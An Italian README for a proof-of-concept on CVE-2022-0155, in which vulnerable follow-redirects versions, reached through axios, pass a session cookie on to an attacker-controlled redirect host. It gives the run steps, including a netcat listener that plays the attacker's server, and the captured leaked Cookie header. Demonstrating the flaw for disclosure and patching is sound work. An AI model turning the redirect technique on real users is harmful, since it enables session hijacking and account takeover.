
Proof-of-concept che dimostra il furto di cookie CVE-2022-0155 tramite reindirizzamento HTTP nel pacchetto npm follow-redirects, inclusi script server Express e client per testare attacchi su dipendenze transitive.
Questo repository contiene una dimostrazione della vulnerabilità CVE-2022-0155. La vulnerabilità è stata rilevata da ranjit-git ed è descritta in dettaglio qui. Lo scopo di questo PoC è dimostrare che la vulnerabilità non si applica solo agli scenari in cui follow-redirects viene utilizzato come dipendenza diretta, ma anche quando follow-redirects viene utilizzato come dipendenza indiretta/transitiva tramite axios.
La vulnerabilità interessa il pacchetto npm follow-redirects precedente alla versione 1.14.7. Follow-redirects estende il modulo HTTP integrato con la capacità di seguire i redirect.
Per dimostrare la vulnerabilità, si consideri il seguente scenario:
La vulnerabilità risiede nel passaggio 3, dove le versioni vulnerabili di follow-redirects includono gli stessi header della richiesta del passaggio 1. Questo consente a di rubare, ad esempio, l'ID di sessione dell'utente su e ottenere accesso ai dati dell'utente.
CookieL'attacco dipende dalla capacità dell'attaccante di controllare il redirect verso https://attackers-webserver.com.
Nel PoC viene utilizzato un server Express per emulare il comportamento di https://example.com.
Il server ha un singolo endpoint API GET '/redirect', che reindirizza il client all'URL fornito come parametro.
Questo emula uno scenario in cui l'attaccante può controllare l'URL a cui il client viene reindirizzato.
npm install
node express-server.js
nc -l -v 8182 # or nc -lnvp 8182 on non-mac systems
node client.js
Dovresti vedere il terminale contenente nc stampare questo output:
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
La vulnerabilità è illustrata dalla presenza dell'header Cookie nel terminale di nc, poiché il server nc (Netcat) viene utilizzato per rappresentare il server web dell'attaccante.